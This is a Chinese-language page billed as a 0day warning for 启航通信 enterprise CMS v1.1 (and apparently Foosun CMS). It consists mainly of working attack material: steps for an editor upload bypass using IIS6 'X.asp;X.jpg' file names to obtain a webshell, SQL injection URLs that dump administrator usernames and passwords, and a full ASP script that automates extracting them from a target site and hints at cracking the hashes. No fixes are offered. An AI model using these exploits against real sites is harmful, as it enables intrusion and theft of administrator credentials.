启航通信企业建站CMS系统v1.1 0day漏洞预警

2024-05-20

启航通信企业建站CMS系统v1.1 0day漏洞预警（精选4篇）

篇1：启航通信企业建站CMS系统v1.1 0day漏洞预警

主要是后台编辑器上传漏洞，配合IIS6.0可以直接上传拿shell

以是上利用代码

很熟悉的漏洞了，

篇2：启航通信企业建站CMS系统v1.1 0day漏洞预警

步骤一：访问/user/userreg.asp 注册用户

步骤二：访问/KS_editor/selectupfiles.asp ，勾选自动命名选项，上传命名如X.asp;X.jpg文件，

步骤三：访问上传文件路径 xm.asp;xm.jpg

篇3：启航通信企业建站CMS系统v1.1 0day漏洞预警

风讯的注册页面...

漏洞页面：/user/SetNextOptions.asp

利用方法：

构造注入

user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=aaa&ReqSql=select+1,admin_name,3,4,5,6,7,8++from+FS_MF_Admin

“admin_name”管理用户名数据库表

user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=aaa&ReqSql=select+1,admin_pass_word,3,4,5,6,7,8++from+FS_MF_Admin

“admin_pass_word”管理密码数据库表

把下面的代码保存成一个ASP文件然后在本地架一个ASP环境就OK了

DE>foosun cms 0day exploits<%web=request(“web”)id=request(“id”)%>关键字:会员注册step 1 of 4 step

输入地址：<%=web%>“>

要暴的ID号(默认是1)<%=id%>”>ID为1的是超级管理员

<% function bin2str(bin) dim tmp,ustr tmp=“” for i=1 to LenB(bin)-1 ustr=AscB(MidB(bin,i,1)) if ustr>127 then i=i+1 tmp=tmp&chr(ustr*256+AscB(MidB(bin,i,1))) else tmp=tmp&chr(ustr) end if next bin2str=tmp end functionwebuser=web&“User/setnextoptions.asp?EquValue=1&ReqSql=select%201,ADMIN_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51%20from%20FS_MF_ADMIN%20where%20id=”&idwebpass=web&“User/setnextoptions.asp?EquValue=1&ReqSql=select%201,ADMIN_pass_word,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51%20from%20FS_MF_ADMIN%20where%20id=”&idif web=“” thenelseset x=server.createObject(“Microsoft.XMLHTTP”) x.open “get”,webuser,false x.send str=bin2str(x.responseBody)response.write “你暴的网站地址：”&web&“

第”&id&“位的管理员

”response.write “

网站后台地址

”for i=126 to len(str)mid1=mid1&mid(str,i,1)nextresponse.write “

------------------

帐号：”&mid1&“

”x.open “get”,webpass,false x.send str=bin2str(x.responseBody)for i=126 to len(str)mid2=mid2&mid(str,i,1)next response.write “

密码：”&mid2&“

------------------

” response.write “

爆出咯，可以YY了

cmd5” set x=nothingend if%>DE>